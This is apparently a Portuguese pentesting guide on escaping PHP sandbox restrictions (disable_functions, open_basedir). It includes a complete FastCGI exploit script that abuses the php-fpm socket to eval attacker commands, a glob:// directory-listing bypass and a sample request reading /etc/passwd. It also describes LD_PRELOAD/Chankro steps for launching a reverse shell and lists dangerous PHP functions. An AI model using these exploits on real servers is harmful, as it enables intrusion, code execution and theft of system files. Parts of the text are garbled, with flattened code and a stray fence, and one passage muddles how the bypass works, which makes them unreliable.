mail / mb_send_mail - Esta função é usada para enviar e-mails, mas também pode ser abusada para injetar comandos arbitrários dentro do parâmetro $options. Isso ocorre porque a função mail do php geralmente chama o binário sendmail dentro do sistema e permite que você coloque opções extras. No entanto, você não poderá ver a saída do comando executado, portanto, é recomendável criar um script shell que escreva a saída em um arquivo, execute-o usando o mail e imprima a saída:
dl - Esta função pode ser usada para carregar dinamicamente uma extensão PHP. Esta função nem sempre estará presente, portanto, você deve verificar se ela está disponível antes de tentar explorá-la. Leia esta página para aprender como explorar esta função.
Execução de Código PHP
Além do eval, existem outras maneiras de executar código PHP: include/require podem ser usados para execução de código remoto na forma de vulnerabilidades de Inclusão de Arquivo Local e Inclusão de Arquivo Remoto.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Funções desabilitadas é a configuração que pode ser feita nos arquivos .ini no PHP que proíbe o uso das funções indicadas. Open basedir é a configuração que indica ao PHP a pasta que ele pode acessar.
A configuração do PHP costuma ser feita no caminho /etc/php7/conf.d ou similar.
Ambas as configurações podem ser vistas na saída do phpinfo():
open_basedir Bypass
open_basedir irá configurar as pastas que o PHP pode acessar, você não será capaz de escrever/ler/executar nenhum arquivo fora dessas pastas, mas também não será capaz de listar outros diretórios.
No entanto, se de alguma forma você conseguir executar código PHP arbitrário, você pode tentar o seguinte trecho de códigos para tentar burlar a restrição.
Listando diretórios com bypass glob://
Neste primeiro exemplo, o protocolo glob:// com algum bypass de caminho é usado:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Nota1: No caminho, também pode usar /e??/* para listar /etc/* e qualquer outra pasta.
Nota2: Parece que parte do código está duplicada, mas na verdade é necessário!
Nota3: Este exemplo é útil apenas para listar pastas e não para ler arquivos
Bypass completo do open_basedir abusando do FastCGI
Se quiser saber mais sobre PHP-FPM e FastCGI, pode ler a primeira seção desta página.
Se o php-fpm estiver configurado, pode abusar dele para contornar completamente o open_basedir:
Note que a primeira coisa que precisa fazer é encontrar onde está o socket unix do php-fpm. Costuma estar em /var/run, então pode usar o código anterior para listar o diretório e encontrá-lo.
Código de aqui.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Solicitação inválida');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('Este aplicativo não pode multiplexar [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('Nova solicitação rejeitada; ocupado demais [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Valor de função desconhecido [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Verifique sua entrada\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // carga útil php -- Não faz nada$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Chamada: $uri\n\n";echo $client->request($params, $code)."\n";?>
Este script irá comunicar com o socket unix do php-fpm (normalmente localizado em /var/run se o fpm for usado) para executar código arbitrário. As configurações open_basedir serão sobrescritas pelo atributo PHP_VALUE que é enviado.
Observe como eval é usado para executar o código PHP que você envia dentro do parâmetro cmd.
Também observe a linha 324 comentada, você pode descomentá-la e o payload se conectará automaticamente ao URL fornecido e executará o código PHP contido lá.
Acesse http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); para obter o conteúdo do arquivo /etc/passwd.
Você pode estar pensando que da mesma forma que sobrescrevemos a configuração open_basedir, podemos sobrescrever disable_functions. Bem, tente, mas não funcionará, aparentemente disable_functions só pode ser configurado em um arquivo de configuração php .ini e as alterações que você fizer usando PHP_VALUE não serão eficazes nessa configuração específica.
Bypass de disable_functions
Se você conseguir executar código PHP dentro de uma máquina, provavelmente desejará ir para o próximo nível e executar comandos do sistema arbitrários. Nessa situação, é comum descobrir que a maioria ou todas as funções PHP que permitem executar comandos do sistema foram desativadas em disable_functions.
Então, veja como você pode contornar essa restrição (se puder)
Volte ao início desta página e verifique se alguma das funções de execução de comandos não está desativada e disponível no ambiente. Se encontrar pelo menos uma delas, poderá usá-la para executar comandos do sistema arbitrários.
Bypass LD_PRELOAD
É bem conhecido que algumas funções em PHP como mail() vão executar binários dentro do sistema. Portanto, você pode abusar delas usando a variável de ambiente LD_PRELOAD para fazer com que carreguem uma biblioteca arbitrária que pode executar qualquer coisa.
Funções que podem ser usadas para burlar disable_functions com LD_PRELOAD
mail
mb_send_mail: Efetivo quando o módulo php-mbstring está instalado.
imap_mail: Funciona se o módulo php-imap estiver presente.
libvirt_connect: Requer o módulo php-libvirt-php.
gnupg_init: Utilizável com o módulo php-gnupg instalado.
new imagick(): Esta classe pode ser abusada para contornar restrições. Técnicas detalhadas de exploração podem ser encontradas em um artigo abrangente aqui.
Você pode encontrar aqui o script de fuzzing que foi usado para encontrar essas funções.
Aqui está uma biblioteca que você pode compilar para abusar da variável de ambiente LD_PRELOAD:
Para abusar dessa configuração incorreta, você pode usar Chankro. Esta é uma ferramenta que irá gerar um exploit PHP que você precisa fazer upload para o servidor vulnerável e executá-lo (acessando via web).
Chankro irá escrever no disco da vítima a biblioteca e o shell reverso que você deseja executar e usará o truque**LD_PRELOAD + função PHP mail()** para executar o shell reverso.
Observe que para usar o Chankro, mail e putenvnão podem aparecer na lista de disable_functions.
No exemplo a seguir, você pode ver como criar um exploit chankro para arquitetura 64 bits, que irá executar whoami e salvar a saída em /tmp/chankro_shell.out, o chankro irá escrever a biblioteca e o payload em /tmp e o exploit final será chamado de bicho.php (esse é o arquivo que você precisa fazer upload para o servidor da vítima):
#!/bin/shwhoami >/tmp/chankro_shell.out
O PHP tem uma função chamada `disable_functions` que pode ser usada para desativar funções específicas no PHP. Isso pode ser útil durante um teste de penetração para impedir que certas funções perigosas sejam executadas. No entanto, é importante observar que essa abordagem pode ser contornada se o PHP estiver configurado com `open_basedir` desativado. Nesse caso, um invasor pode explorar essa vulnerabilidade para contornar a restrição do `disable_functions` e executar funções proibidas. Certifique-se de considerar essa possibilidade ao realizar testes de penetração em ambientes PHP.
Observe que usando o PHP você pode ler e escrever arquivos, criar diretórios e alterar permissões.
Você até pode despejar bancos de dados.
Talvez usando o PHP para enumerar a caixa você possa encontrar uma maneira de escalar privilégios/executar comandos (por exemplo, lendo alguma chave ssh privada).
Essas funções aceitam um parâmetro de string que poderia ser usado para chamar uma função da escolha do atacante. Dependendo da função, o atacante pode ou não ter a capacidade de passar um parâmetro. Nesse caso, uma função de Divulgação de Informações como phpinfo() poderia ser usada.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Divulgação de Informações
A maioria dessas chamadas de função não são pontos de vazamento. Mas pode ser uma vulnerabilidade se algum dos dados retornados for visível para um atacante. Se um atacante puder ver phpinfo(), é definitivamente uma vulnerabilidade.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Funções do Sistema de Arquivos
De acordo com o RATS, todas as funções do sistema de arquivos em php são perigosas. Algumas dessas não parecem ser muito úteis para o atacante. Outras são mais úteis do que você pode pensar. Por exemplo, se allow_url_fopen=On, então uma URL pode ser usada como um caminho de arquivo, então uma chamada para copy($_GET['s'], $_GET['d']); pode ser usada para fazer upload de um script PHP em qualquer lugar do sistema. Além disso, se um site for vulnerável a uma solicitação enviada via GET, todas essas funções do sistema de arquivos podem ser abusadas para canalizar um ataque para outro host por meio do seu servidor.
Escrever no sistema de arquivos (parcialmente em combinação com a leitura)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir